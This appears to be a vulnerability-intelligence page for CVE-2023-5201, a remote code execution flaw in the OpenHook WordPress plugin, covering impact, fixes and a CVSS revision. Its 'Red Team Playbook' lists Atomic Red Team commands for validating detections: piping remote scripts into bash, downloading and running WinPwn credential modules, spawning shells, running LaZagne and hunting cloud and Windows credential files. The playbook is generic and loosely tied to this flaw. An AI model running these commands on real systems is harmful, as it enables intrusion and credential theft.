CVE-2023-5201
Overview
This vulnerability is a remote code execution flaw caused by improper input validation in the 'php' shortcode feature of the OpenHook WordPress plugin. The root cause lies in the execution of arbitrary PHP code embedded within shortcode content when the '[php]' shortcode setting is enabled. The affected component is the shortcode processing functionality in versions up to and including 4.3.0 of the OpenHook plugin.
Vulnerability Description
The OpenHook plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 4.3.0 via the 'php' shortcode. This allows authenticated attackers with subscriber-level permissions or above, to execute code on the server. This requires the [php] shortcode setting to be enabled on the vulnerable site.
Impact
An attacker with subscriber-level or higher credentials can execute arbitrary PHP code on the server, enabling full control over the affected WordPress instance and potentially the underlying host. This requires authentication and the '[php]' shortcode setting to be enabled, but no user interaction beyond login is needed. The vulnerability can lead to data compromise, website defacement, and lateral movement within the hosting environment. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) indicates network attack with low complexity, requiring privileges but no user interaction, with high impact on confidentiality, integrity, and availability.
Solution
Users should upgrade the OpenHook plugin to version 4.3.1 or later, where the vulnerable shortcode execution mechanism has been revised to prevent arbitrary code execution. The WordFence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/37b9ed0e-5af2-47c1-b2da-8d103e4c31bf) provides detailed patch information. Alternatively, disabling the '[php]' shortcode setting mitigates the issue if immediate upgrade is not feasible. Review the plugin's changelog and source code at the WordPress plugin repository for precise patch details.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the OpenHook plugin for WordPress is characterized by a significant flaw that permits remote code execution through the use of the 'php' shortcode. This vulnerability affects versions up to and including 4.3.0, allowing authenticated users with subscriber-level permissions or higher to execute arbitrary PHP code on the server. The core issue lies in the improper handling of user input within the shortcode functionality, which fails to adequately sanitize or validate the code being executed. As a result, an attacker can leverage this weakness to inject malicious code, potentially leading to full server compromise.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker, who may have gained access through weak passwords or social engineering tactics, can enable the 'php' shortcode setting on a vulnerable site. Once this setting is active, the attacker can craft a shortcode that includes malicious PHP code. When this shortcode is processed by the server, it executes the injected code with the same privileges as the web server, which can lead to unauthorized access to sensitive data, modification of files, or even complete control over the WordPress installation. The ease of exploitation, combined with the low barrier to entry for attackers, makes this vulnerability particularly concerning.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on WordPress for their online presence. Successful exploitation can lead to data breaches, loss of customer trust, and significant financial repercussions. For instance, if an attacker gains access to customer data or proprietary information, the organization may face legal liabilities and regulatory fines. Additionally, the compromised site may be used for further attacks, such as distributing malware or launching denial-of-service attacks against other targets, thereby expanding the impact beyond the initial victim. The reputational damage associated with such incidents can also hinder future business opportunities and partnerships.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, it is essential to update the OpenHook plugin to the latest version, which addresses this security flaw. Regularly auditing and updating all plugins and themes is a critical practice in maintaining a secure WordPress environment. Furthermore, organizations should implement strict access controls, ensuring that only trusted users have the ability to execute code through shortcodes. Employing security plugins that monitor for unusual activity or unauthorized changes can also help in early detection of exploitation attempts. Additionally, conducting regular security assessments and penetration testing can identify potential vulnerabilities before they can be exploited by malicious actors.
In conclusion, the vulnerability within the OpenHook plugin poses a serious threat to WordPress installations, particularly due to its potential for remote code execution by authenticated users. The implications of such a security flaw extend beyond immediate technical concerns, affecting business operations, customer trust, and overall organizational integrity. By prioritizing timely updates, enforcing stringent access controls, and implementing robust detection mechanisms, organizations can significantly reduce their exposure to this and similar vulnerabilities, thereby fortifying their cybersecurity posture in an increasingly hostile digital landscape.
The CVSS score for CVE-2023-5201 has been revised upward from 8.8 to 9.9, reflecting a reassessment of the vulnerability’s criticality. This adjustment underscores the heightened risk posed by the remote code execution capability available to low-privileged authenticated users when the vulnerable shortcode is enabled. Although our telemetry shows no emergence of new exploit techniques or a surge in exploitation attempts, the increased severity rating signals a greater potential impact on affected environments. Defenders should interpret this change as an indication that the vulnerability’s exploitation could lead to more severe consequences than previously estimated, warranting increased vigilance in monitoring and response efforts. The stable EPSS score suggests that while exploitation activity has not intensified recently, the window for impactful attacks remains significant, reinforcing the need for continued prioritization in vulnerability management and detection strategies.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Rickbeckman | Openhook | All |
cpe:2.3:a:rickbeckman:openhook:*:*:*:*:wordpress:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-5201 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/37b9ed0e-5af2-47c1-b2da-8d103e4c31bf?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/thesis-openhook/tags/4.3.0/inc/shortcodes.php#L28 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/thesis-openhook/tags/4.3.1/inc/shortcodes.php?rev=2972840#L24 |